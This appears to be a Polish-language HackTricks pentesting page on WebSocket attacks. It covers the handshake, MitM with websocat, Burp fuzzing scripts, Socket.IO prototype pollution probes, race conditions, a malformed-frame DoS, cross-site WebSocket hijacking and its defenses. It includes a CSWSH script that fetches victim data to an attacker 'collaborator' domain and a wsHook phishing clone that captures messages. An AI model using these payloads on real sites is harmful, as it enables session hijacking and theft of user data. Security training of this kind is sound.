Ataki na WebSockety

Reading time: 14 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym są WebSockety

Połączenia WebSocket są nawiązywane poprzez początkowy HTTP handshake i są zaprojektowane jako długotrwałe, umożliwiając dwukierunkową komunikację w dowolnym momencie bez potrzeby systemu transakcyjnego. Dzięki temu WebSockety są szczególnie korzystne dla aplikacji wymagających niskich opóźnień lub komunikacji inicjowanej przez serwer, takich jak strumienie danych finansowych w czasie rzeczywistym.

Nawiązywanie połączeń WebSocket

A detailed explanation on establishing WebSocket connections can be accessed here. In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Protokół wss oznacza połączenie WebSocket zabezpieczone przy użyciu TLS, podczas gdy ws wskazuje na połączenie niezabezpieczone.

Podczas nawiązywania połączenia wykonywany jest handshake między przeglądarką a serwerem przez HTTP. Proces handshake polega na wysłaniu przez przeglądarkę requestu i odpowiedzi serwera, jak pokazano w poniższych przykładach:

Przeglądarka wysyła handshake request:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odpowiedź handshake serwera:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Po nawiązaniu połączenie pozostaje otwarte, umożliwiając wymianę wiadomości w obu kierunkach.

Kluczowe punkty negocjacji WebSocket:

  • Nagłówki Connection i Upgrade sygnalizują rozpoczęcie negocjacji WebSocket.
  • Nagłówek Sec-WebSocket-Version wskazuje żądaną wersję protokołu WebSocket, zwykle 13.
  • W nagłówku Sec-WebSocket-Key wysyłana jest losowa wartość zakodowana w Base64, zapewniając unikalność każdej negocjacji, co pomaga zapobiegać problemom z proxy buforującymi. Ta wartość nie służy do uwierzytelniania, lecz potwierdza, że odpowiedź nie została wygenerowana przez źle skonfigurowany serwer lub cache.
  • Nagłówek Sec-WebSocket-Accept w odpowiedzi serwera jest hashem wartości Sec-WebSocket-Key, potwierdzając intencję serwera otwarcia połączenia WebSocket.

Te mechanizmy zapewniają, że proces negocjacji jest bezpieczny i niezawodny, co umożliwia efektywną komunikację w czasie rzeczywistym.

Konsola Linux

Możesz użyć websocat, aby nawiązać surowe połączenie z WebSocket.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Albo utworzyć serwer websocat:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM połączenia websocket

Jeśli stwierdzisz, że klienci są połączeni z HTTP websocket z twojej bieżącej sieci lokalnej możesz spróbować ARP Spoofing Attack aby przeprowadzić atak MitM pomiędzy klientem a serwerem.
Gdy klient będzie próbował połączyć się z tobą, możesz wtedy użyć:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Możesz użyć narzędzia https://github.com/PalindromeLabs/STEWS aby odkryć, fingerprint i wyszukać znane vulnerabilities w websockets automatycznie.

Websocket Debug tools

  • Burp Suite obsługuje komunikację websockets z MitM w sposób bardzo podobny do zwykłej komunikacji HTTP.
  • The socketsleuth Burp Suite extension pozwoli lepiej zarządzać komunikacją Websocket w Burp poprzez dostęp do history, ustawianie interception rules, używanie reguł match and replace, oraz korzystanie z Intruder i AutoRepeater.
  • WSSiP: Skrót od "WebSocket/Socket.io Proxy", to narzędzie napisane w Node.js zapewnia interfejs użytkownika do capture, intercept, send custom messages i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
  • wsrepl to interactive websocket REPL zaprojektowane specjalnie dla penetration testing. Zapewnia interfejs do obserwowania incoming websocket messages and sending new ones, z łatwym w użyciu frameworkiem do automating tej komunikacji.
  • https://websocketking.com/ to aplikacja webowa do komunikacji z innymi stronami przy użyciu websockets.
  • https://hoppscotch.io/realtime/websocket — oprócz innych typów komunikacji/protokółów, udostępnia narzędzie webowe do komunikacji z innymi stronami przy użyciu websockets.

Decrypting Websocket

Websocket Lab

W Burp-Suite-Extender-Montoya-Course masz kod do uruchomienia aplikacji webowej używającej websockets, a w this post znajdziesz wyjaśnienie.

Websocket Fuzzing

Rozszerzenie Burp Backslash Powered Scanner teraz pozwala fuzzować także wiadomości WebSocket. Więcej informacji możesz przeczytać here.

WebSocket Turbo Intruder (Burp extension)

WebSocket Turbo Intruder od PortSwiggera wprowadza skryptowanie w stylu Turbo Intruder w Pythonie oraz high‑rate fuzzing dla WebSockets. Zainstaluj z BApp Store lub ze źródła. Zawiera dwa komponenty:

  • Turbo Intruder: high‑volume messaging do pojedynczego WS endpointu przy użyciu custom engines.
  • HTTP Middleware: udostępnia lokalny endpoint HTTP, który przekazuje ciała jako WS messages przez utrzymywane połączenie, dzięki czemu każdy skaner oparty na HTTP może testować backendy WS.

Podstawowy wzorzec skryptu do fuzzowania WS endpointu i filtrowania istotnych odpowiedzi:

python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Użyj dekoratorów takich jak @MatchRegex(...) aby zredukować szum, gdy pojedyncza wiadomość wywołuje wiele odpowiedzi.

Bridge WS behind HTTP (HTTP Middleware)

Obuduj trwałe połączenie WS i przekazuj treści HTTP jako wiadomości WS do automatycznego testowania za pomocą skanerów HTTP:

python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Następnie wyślij HTTP lokalnie; ciało jest przekazywane jako wiadomość WS:

http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Umożliwia to sterowanie backendami WS przy jednoczesnym filtrowaniu „interesujących” zdarzeń (np. SQLi errors, auth bypass, command injection behavior).

Obsługa Socket.IO (handshake, heartbeats, events)

Socket.IO dodaje własne ramkowanie nad WS. Wykryjesz to przez obowiązkowy parametr zapytania EIO (np. EIO=4). Utrzymuj sesję żywą za pomocą Ping (2) i Pong (3), rozpocznij rozmowę od "40", a następnie emituj zdarzenia takie jak 42["message","hello"].

Przykład Intruder:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Wariant adaptera HTTP:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Wykrywanie prototype pollution po stronie serwera przez Socket.IO

Zgodnie z bezpieczną metodą wykrywania PortSwiggera, spróbuj zanieczyścić wewnętrzne mechanizmy Express, wysyłając payload taki jak:

json
{"__proto__":{"initialPacket":"Polluted"}}

If greetings or behavior change (e.g., echo includes "Polluted"), prawdopodobnie zanieczyściłeś prototypy po stronie serwera. Wpływ zależy od osiągalnych sinków; skoreluj to z gadgetami w sekcji Node.js o prototype pollution. Zobacz:

WebSocket race conditions with Turbo Intruder

Domyślny silnik grupuje wiadomości na jednym połączeniu (świetna przepustowość, słabe dla race’ów). Użyj silnika THREADED, aby wystartować wiele WS connections i wysyłać payloady równolegle, żeby wywołać race’y w logice (double‑spend, token reuse, state desync). Zacznij od przykładowego skryptu i dostosuj concurrency w config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Sporządź WS frames, których header deklaruje ogromny payload length, ale nie wysyłaj body. Niektóre WS serwery ufają tej długości i pre‑alokują buffery; ustawienie jej blisko Integer.MAX_VALUE może spowodować Out‑Of‑Memory i zdalny unauth DoS. Zobacz przykładowy skrypt.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

Fuzzing WS na wysokim natężeniu może otworzyć wiele połączeń i wysyłać tysiące wiadomości na sekundę. Malformed frames i wysokie częstotliwości mogą spowodować realny DoS. Używaj tylko tam, gdzie jest to dozwolone.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, jest traktowane jako specyficzny przypadek Cross-Site Request Forgery (CSRF) dotyczący handshake’ów WebSocket. Ta luka pojawia się, gdy handshake’y WebSocket uwierzytelniają wyłącznie za pomocą HTTP cookies bez CSRF tokens lub podobnych środków ochrony.

Atakujący mogą to wykorzystać, hostując złośliwą stronę, która inicjuje cross-site WebSocket connection do podatnej aplikacji. W rezultacie to połączenie jest traktowane jako część sesji ofiary w aplikacji, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji.

Aby ten atak mógł zadziałać, muszą być spełnione wymagania:

  • The websocket authentication must be cookie based
  • The cookie must be accessible from the attackers server (this usually means SameSite=None) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome.
  • The websocket server must not check the origin of the connection (or this must be bypasseable)

Also:

  • If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Simple Attack

Zauważ, że podczas establishing a websocket connection cookie jest sent do serwera. Server może używać go do relate każdego specific user z jego websocket session based on the sent cookie.

Następnie, jeśli na przykład websocket server sends back the history of the conversation użytkownika kiedy zostanie wysłany msg z "READY", to proste XSS, które ustanowi połączenie (the cookie zostanie sent automatically aby autoryzować użytkownika‑ofiarę) wysyłające "READY" będzie w stanie retrieve historię conversation.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

W tym wpisie na blogu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ atakujący zdołał wykonać dowolny Javascript w subdomenie domeny, w której odbywała się komunikacja websocket. Ponieważ była to subdomena, cookie było wysyłane, a ponieważ Websocket nie sprawdzał poprawnie Origin, możliwa była komunikacja z nim i ukraść z niego tokeny.

Kradzież danych od użytkownika

Skopiuj aplikację webową, którą chcesz podszyć (np. pliki .html) i w miejscu w skrypcie, gdzie zachodzi komunikacja websocket, dodaj ten kod:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Pobierz teraz plik wsHook.js z https://github.com/skepticfx/wshook i zapisz go w folderze z plikami aplikacji webowej.
Udostępniając aplikację webową i skłaniając użytkownika do połączenia się z nią, będziesz w stanie przechwycić wysyłane i odbierane wiadomości przez websocket:

javascript
sudo python3 -m http.server 80

Zabezpieczenia CSWSH

Atak CSWSH opiera się na tym, że użytkownik połączy się ze złośliwą stroną, która otworzy websocket connection do strony, z którą użytkownik jest już połączony, i uwierzytelni się w jego imieniu, ponieważ żądanie prześle cookies użytkownika.

Obecnie bardzo łatwo zapobiec temu problemowi:

  • Websocket server checking the origin: Serwer websocket powinien zawsze sprawdzać, skąd użytkownik się łączy, aby zapobiec łączeniu się nieoczekiwanych stron.
  • Authentication token: Zamiast opierać uwierzytelnianie na cookie, websocket connection może być oparta na tokenie generowanym przez serwer dla użytkownika, nieznanym atakującemu (np. token anti-CSRF).
  • SameSite Cookie attribute: Cookies z wartością SameSite Lax lub Strict nie będą wysyłane ze strony zewnętrznego atakującego do serwera ofiary, więc uwierzytelnianie oparte na cookie nie będzie skuteczne. Zauważ, że Chrome domyślnie przypisuje wartość Lax do cookies, którym nie określono tego flagi, co czyni to bezpieczniejszym domyślnie. Jednak przez pierwsze 2 minuty po utworzeniu cookie będzie miało wartość None, co czyni je podatnym w tym ograniczonym okresie czasu (oczekuje się też, że środek ten zostanie w pewnym momencie usunięty).
  • Firefox Total Cookie Protection: Total Cookie Protection działa poprzez izolowanie cookies do strony, na której zostały utworzone. Każda strona ma własną partycję do przechowywania cookies, aby zapobiec łączeniu historii przeglądania użytkownika przez podmioty trzecie. To sprawia, że CSWSH jest bezużyteczny, ponieważ strona atakującego nie będzie miała dostępu do cookies.
  • Chrome third-party cookies block: To również może uniemożliwić wysyłanie cookies uwierzytelnionego użytkownika do websocket server nawet przy SameSite=None.

Race Conditions

Race Conditions w WebSockets też występują, sprawdź te informacje, aby dowiedzieć się więcej.

Inne podatności

Ponieważ Web Sockets są mechanizmem do wysyłania danych po stronie serwera i klienta, w zależności od tego, jak serwer i klient przetwarzają te informacje, Web Sockets mogą być użyte do wykorzystania wielu innych podatności, takich jak XSS, SQLi czy inne typowe webowe podatności, wykorzystując dane wejściowe użytkownika przesyłane przez websocket.

WebSocket Smuggling

Ta podatność może umożliwić obejście ograniczeń reverse proxies przez sprawienie, że będą one wierzyć, iż nawiązano komunikację websocket (nawet jeśli to nieprawda). To może pozwolić atakującemu na dostęp do ukrytych endpointów. Aby uzyskać więcej informacji sprawdź następującą stronę:

Upgrade Header Smuggling

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks